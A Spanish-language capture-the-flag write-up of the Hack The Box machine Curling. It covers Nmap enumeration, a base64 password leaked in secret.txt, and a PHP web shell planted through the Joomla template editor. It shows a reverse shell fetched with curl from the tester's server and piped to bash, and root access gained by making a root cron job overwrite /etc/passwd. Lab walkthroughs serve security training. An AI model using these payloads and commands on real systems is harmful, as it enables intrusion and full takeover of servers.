Maquina Retirada Curling de Hack The Box (Necesario VIP)
Curling ~ Hack The Box
Realizamos el Primer escaneo con Nmap
$" nmap -p- --open -sS --min-rate 4000 -vvv -n -Pn -oG allports 10.10.10.150 "
Procedemos con el siguiente escaneo de Nmap
$" nmap -sC -sV -p -oN target 10.10.10.150
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8a:d1:69:b4:90:20:3e:a7:b6:54:01:eb:68:30:3a:ca (RSA)
| 256 9f:0b:c2:b2:0b:ad:8f:a1:4e:0b:f6:33:79:ef:fb:43 (ECDSA)
|_ 256 c1:2a:35:44:30:0c:5b:56:6a:3f:a5:cc:64:66:d9:a9 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: Joomla! - Open Source Content Management
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Procedemos a hacer un pequeño Fuzzing con nmap y el script http-enum
# nmap --script http-enum -p80 10.10.10.150 -oN Webscan
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-20 17:25 CEST
Nmap scan report for 10.10.10.150
Host is up (0.041s latency).
PORT STATE SERVICE
80/tcp open http
| http-enum:
| /administrator/: Possible admin folder
| /administrator/index.php: Possible admin folder
| /administrator/manifests/files/joomla.xml: Joomla version 3.8.8
| /language/en-GB/en-GB.xml: Joomla version 3.8.8
| /htaccess.txt: Joomla!
| /README.txt: Interesting, a readme.
| /bin/: Potentially interesting folder
| /cache/: Potentially interesting folder
| /images/: Potentially interesting folder
| /includes/: Potentially interesting folder
| /libraries/: Potentially interesting folder
| /modules/: Potentially interesting folder
| /templates/: Potentially interesting folder
|_ /tmp/: Potentially interesting folder
Nmap done: 1 IP address (1 host up) scanned in 8.07 seconds
Procedemos a hecharle un vistazo a la pagina web
foto
Vemos varios comentarios y enumeramos un posible usuario llamado "Floris"
Hacemos #Ctrl+U para inspeccionar el codigo fuente
Nos encontramos al final del codigo fuente de la pagina principal un comentario con un secret.txt
Procedemos con: "http://10.10.10.150/secret.txt"
Encontramos un hash: Q3VybGluZzIwMTgh
que parece estar codificado en base64
Hacemos un tratamiento de la posible pass encontrada:
# echo "Q3VybGluZzIwMTgh" | base64 -d
Curling2018!
Seguimos comprobando las rutas que nos a enumerado el script de nmap: "/administrator/"
Encontramos el Panel Login.
Tenemos:
User: Floris
Pass: Curling2018!
Nos conseguimos loguear correctamente como el user Floris
Una vez dentro nos dirigimos a TEMPLATES
, elegimos el tema Beez3
y procedemos a crear un nuevo archivo.
El archivo que vamos a crear va a ser una archivo malicioso .php
tal que podamos ejecutar comandos a a nivel web para posteriormente lanzarnos una shell
Archivito del Joomla: Nombre: pros.php
<?php
system($_REQUEST['cmd']);
?>
Ahora a nivel web vamos a intentar apuntar a nuestro archivo template creado nuevo: /templates/beez3/pros.php
Vemos que nos responde y se esta interpretando, procedemos a ejecutar comandos de la siguiente forma:
foto
"http://10.10.10.150/templates/beez3/pros.php?cmd=whoami"
www-data
Probamos con las revershell de siempre y vemos que no conseguimos acceso a la maquina.
La Alternativa esta en el uso de CURL para hacer una peticion a un servidor que nos montemos con python3, compartiendo un archivo shell.sh para apunte a nuestro servidor con una Revese_shell:
Archivo Shell.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.5/443
Teniendo el servidor python3 -m http.server 80
montado alojando el recurso Shell.sh
Procedemos a hacer la Peticion Web:
"http://10.10.10.150/templates/beez3/pros.php?cmd=curl%20http//10.10.14.5/Shell.sh"
Como output: Vemos que se nos lee el codigo tipo:
#!/bin/bash bash -i >& /dev/tcp/10.10.14.5/443 0>&1
Nos preparamos y nos ponemos a la escucha con nc -vnlp 443
para recibir la shell.
Ahora paso clave: Pipearlo con BASH
Para lograr que se ejecute ahora el codigo:
"http://10.10.10.150/templates/beez3/pros.php?cmd=curl%20http//10.10.14.5/Shell.sh|bash"
Y de este modo conseguimos nuestra consola como www-data
# nc -vlnp 443
listening on [any] 443 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.150] 47316
bash: cannot set terminal process group (1335): Inappropriate ioctl for device
bash: no job control in this shell
www-data@curling:/var/www/html/templates/beez3$ whoami
www-data
Hacemos un tratamiento de la tty para poder movernos adecuadamente:
www-data@curling:/$ "script /dev/null -c bash"
script /dev/null -c bash
Script started, file is /dev/null
www-data@curling:/$ "^Z" #Ctrl+z
zsh: suspended nc -vlnp 443
┌──(root💀K0)-[/home/…/HTB/Curling/content]
└─# "stty raw -echo;fg " 148 ⨯ 1 ⚙
[1] + continued nc -vlnp 443
"reset"
reset: unknown terminal type unknown
Terminal type? "xterm"
www-data@curling:/$ "export TERM=xterm"
www-data@curling:/$ "export SHELL=bash"
www-data@curling:/$
Nos movemos a la carpeta /home/floris
:
www-data@curling:/home$ ls -l floris/
total 12
drwxr-x--- 2 root floris 4096 May 22 2018 admin-area
-rw-r--r-- 1 floris floris 1076 May 22 2018 password_backup
-rw-r----- 1 floris floris 33 May 22 2018 user.txt
Vemos que tenemos 1 directorio y dos archivos, del cual nosotros como www-data
solo podemos leer el password_backup:
www-data@curling:/home/floris$ cat password_backup
00000000: 425a 6839 3141 5926 5359 819b bb48 0000 BZh91AY&SY...H..
00000010: 17ff fffc 41cf 05f9 5029 6176 61cc 3a34 ....A...P)ava.:4
00000020: 4edc cccc 6e11 5400 23ab 4025 f802 1960 N...n.T.#.@%...`
00000030: 2018 0ca0 0092 1c7a 8340 0000 0000 0000 ......z.@......
00000040: 0680 6988 3468 6469 89a6 d439 ea68 c800 ..i.4hdi...9.h..
00000050: 000f 51a0 0064 681a 069e a190 0000 0034 ..Q..dh........4
00000060: 6900 0781 3501 6e18 c2d7 8c98 874a 13a0 i...5.n......J..
00000070: 0868 ae19 c02a b0c1 7d79 2ec2 3c7e 9d78 .h...*..}y..<~.x
00000080: f53e 0809 f073 5654 c27a 4886 dfa2 e931 .>...sVT.zH....1
00000090: c856 921b 1221 3385 6046 a2dd c173 0d22 .V...!3.`F...s."
000000a0: b996 6ed4 0cdb 8737 6a3a 58ea 6411 5290 ..n....7j:X.d.R.
000000b0: ad6b b12f 0813 8120 8205 a5f5 2970 c503 .k./... ....)p..
000000c0: 37db ab3b e000 ef85 f439 a414 8850 1843 7..;.....9...P.C
000000d0: 8259 be50 0986 1e48 42d5 13ea 1c2a 098c .Y.P...HB....*..
000000e0: 8a47 ab1d 20a7 5540 72ff 1772 4538 5090 .G.. .U@r..rE8P.
000000f0: 819b bb48 ...H
Vemos que es un archivo en HEXADECIMAL
probamos a reversearlo con el commando xxd -r password_backup
y almacenarlo en /tmp/password-backup
usar el comando file
para ver que tipo de archivo es:
www-data@curling:/home/floris$ xxd -r password_backup > /tmp/password_backup
www-data@curling:/home/floris$ file /tmp/password_backup
"/tmp/password_backup: bzip2 compressed data, block size = 900k "
Ahora nos vamos a compartir el archivo con un servidor que nos montamos desde la maquina victima para poder descargarnos el recurso alojado en /tmp/password_backup
: (“Situado en la ruta /tmp/”)
$ python3 -m http.server 8000
Usamos el comando: wget http://10.10.10.150:8000/password_backup
Procedemos a descomprimir el archivos unas 4 o 5 veces haciendo uso de: $ 7z x password_backup
multiples veces hasta que
obtenemos el ultimo fichero que se llama "password.txt"
y almacena:
# cat password.txt
5d<wdCbdZu)|hChXll
Posible contraseña del user Floris:
www-data@curling:/$ su floris
Password: 5d<wdCbdZu)|hChXll
floris@curling:/$
Apartir de aqui ya podriamos visualizar la flag user.txt
localizada en /home/floris/user.txt
floris@curling:/home$ cat floris/user.txt
65dd1df0713b40d88ead98cf1......
Escalada de Privilegios al user Root
Vemos que tenemos un directorio en la carpeta /home/floris/admin-area
floris@curling:~/admin-area$ ls
input report
floris@curling:~/admin-area$ cat input
url = "http://127.0.0.1"
Vemos que el fichero input almacena una url, probamos a montarnos un servidor con python3 y cambiar la url del archiv input
por la de nuestro servidor
a ver si recibimos una peticion a nivel web.
# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.150 - - [21/May/2021 16:44:01] code 404, message File not found
10.10.10.150 - - [21/May/2021 16:44:01] "GET /prueba HTTP/1.1" 404 -
Comprobamos que hay una tarea CRON por detras que posiblemente sea del user Root que nos la esta ejecutando el archivo input.
Vale pues llegados a este punto nosotros podriamos copiarnos el archivo /etc/passwd
del user floris
, para crearnos una contraseña en formato Unix para ponerla en el archivo nuevo de passwd
que nos vamos a crear para posteriormente atraves del archivo input
modificarlo y hacer que nos lo guarde en su propio /etc/paswd
a nivel de root con la contraseña que le hallamos puesto.
Paso 1.- Copiarse el /etc/pàsswd de floris
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
floris:x:1000:1004:floris:/home/floris:/bin/bash
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
Paso 2.- Crearnos una contraseña para el user Root y pegarla en el nuevo passwd
:
# openssl passwd
Password: hola
Verifying - Password: hola
kuaLSx9HZad7.
Pegandola en el archivo passwd
en nuestra maquina, para el user root
:
root:kuaLSx9HZad7.:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
floris:x:1000:1004:floris:/home/floris:/bin/bash
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
Modificamos el archivo input
para que nos lance la peticion a nuestro servidor y sobrescriba el fichero/etc/passwd
del user root
:
url = "http://10.10.16.132/passwd"
output = "/etc/passwd"
Vale teniendo nuestro ficherito ya listo para compartirlo, nos montamos el servidor con python3
# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.150 - - [21/May/2021 17:04:02] "GET /passwd HTTP/1.1" 200 -
Ahi nos lo hace y comprobamos el fichero /etc/passwd, a ver si se a sobrescrito correctamente con la pass indicada para el user root
floris@curling:~/admin-area$ cat /etc/passwd
root:kuaLSx9HZad7.:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
floris:x:1000:1004:floris:/home/floris:/bin/bash
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
floris@curling:~/admin-area$
Y vemos que si, asique porque no vamos a pasarnos al user root:
floris@curling:~/admin-area$ su root
Password:
root@curling:/home/floris/admin-area#
Y ya procederiamos a ver la flag de root/root.txt
:
root@curling:/home/floris/admin-area# cat /root/root.txt
82c198ab6fc5365fdc6da2ee.....
!! Conseguido !! Maquina Rooteada !! :)